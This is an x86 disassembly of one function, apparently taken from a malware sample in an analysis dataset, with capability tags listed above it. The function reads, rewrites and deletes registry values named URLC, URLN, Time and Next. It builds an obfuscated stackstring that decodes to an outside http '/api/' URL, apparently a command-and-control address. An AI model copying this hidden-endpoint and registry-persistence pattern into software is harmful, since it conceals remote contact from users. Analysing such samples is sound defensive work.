Function at 0x10017640
Capabilities:
Contain obfuscated stackstrings
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x2a0
mov eax, dword [0x1001f2b8]
xor eax, esp
mov dword [esp + 0x29c], eax
push esi
mov esi, dword [esp + 0x2a8]
push edi
test esi, esi
je 0x100176af
mov eax, dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x10017679
push eax
push 0
call edi
push eax
call fcn.10015150
mov eax, dword [esi + 0xc]
test eax, eax
je 0x1001768b
push eax
push 0
call edi
push eax
call fcn.10015150
mov eax, dword [esi + 8]
test eax, eax
je 0x1001769d
push eax
push 0
call edi
push eax
call fcn.10015150
mov eax, dword [esi + 0x10]
test eax, eax
je 0x100176af
push eax
push 0
call edi
push eax
call fcn.10015150
cmp dword [esp + 0x2b0], 0
jne 0x1001794e
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test esi, esi
jne 0x100176d5
mov eax, dword [0x1001fe78]
push str.Time
push eax
call ebx
push 0x20a
lea ecx, [esp + 0xa0]
push ecx
call sub.NTDLL.dll_RtlZeroMemory
mov dword [esp + 0xc], 0x20a
mov dword [esp + 0x10], 1
mov eax, str.URLN
test esi, esi
je 0x10017705
mov eax, str.URLC
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea edx, [esp + 0xc]
push edx
lea ecx, [esp + 0xa0]
push ecx
lea edx, [esp + 0x18]
push edx
push 0
push eax
mov eax, dword [0x1001fe78]
push eax
call edi
test eax, eax
je 0x100177fc
lea eax, [esp + 0x54]
push eax
lea ecx, [esp + 0xa0]
xor edx, edx
push 0x10019a60
push ecx
mov dword [esp + 0x60], 0x740068
mov dword [esp + 0x64], 0x700074
mov dword [esp + 0x68], 0x2f003a
mov dword [esp + 0x6c], 0x61002f
mov dword [esp + 0x70], 0x670072
mov dword [esp + 0x74], 0x6e0065
mov dword [esp + 0x78], 0x750074
mov dword [esp + 0x7c], 0x6c006d
mov dword [esp + 0x80], 0x6d0069
mov dword [esp + 0x84], 0x740069
mov dword [esp + 0x88], 0x750061
mov dword [esp + 0x8c], 0x750072
mov dword [esp + 0x90], 0x2e006d
mov dword [esp + 0x94], 0x6f0063
mov dword [esp + 0x98], 0x2f006d
mov dword [esp + 0x9c], 0x700061
mov dword [esp + 0xa0], 0x2f0069
mov word [esp + 0xa4], dx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov dword [esp + 0xc], eax
test esi, esi
je 0x10017901
lea edx, [esp + 0x54]
push edx
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0xa4]
push ecx
call fcn.10015650
add esp, 0xc
test eax, eax
je 0x1001794d
mov ecx, dword [esp + 0x28]
xor edx, edx
mov eax, 4
cmp dword [esp + 0x24], eax
mov dword [esi + 4], ecx
mov ecx, dword [esp + 0x44]
sete dl
mov dword [esi + 0xc], ecx
mov ecx, dword [esp + 0x80]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esi + 0x10], ecx
lea eax, [esp + 0x14]
mov dword [esi + 0x14], edx
mov edx, dword [esp + 0x2c]
mov dword [esi], edx
mov edx, dword [esp + 0x64]
mov dword [esi + 8], edx
lea edx, [esp + 0xc]
push edx
mov edx, dword [0x1001fe78]
push eax
lea ecx, [esp + 0x18]
push ecx
push 0
push str.Next
push edx
mov dword [esp + 0x2c], 0
call edi
test eax, eax
je 0x100178b2
mov eax, 0xc
movzx eax, al
pop ebx
pop edi
mov byte [esi + 0x18], al
pop esi
mov ecx, dword [esp + 0x29c]
xor ecx, esp
call fcn.10008464
add esp, 0x2a0
ret
mov eax, dword [esp + 0x14]
test eax, eax
je 0x100178e1
cmp eax, 0xfe
jbe 0x10017894
pop ebx
mov eax, 0xfe
pop edi
mov byte [esi + 0x18], al
pop esi
mov ecx, dword [esp + 0x29c]
xor ecx, esp
call fcn.10008464
add esp, 0x2a0
ret
pop ebx
mov eax, 0xc
pop edi
mov byte [esi + 0x18], al
pop esi
mov ecx, dword [esp + 0x29c]
xor ecx, esp
call fcn.10008464
add esp, 0x2a0
ret
lea eax, [esp + 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax + eax + 2]
mov eax, dword [0x1001fe78]
push ecx
lea edx, [esp + 0xa0]
push edx
push 1
push 0
push str.URLC
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [0x1001fe78]
push str.URLN
push ecx
call ebx
mov edx, dword [0x1001fe78]
push str.Next
push edx
call ebx
pop ebx
mov ecx, dword [esp + 0x2a4]
pop edi
pop esi
xor ecx, esp
call fcn.10008464
add esp, 0x2a0
ret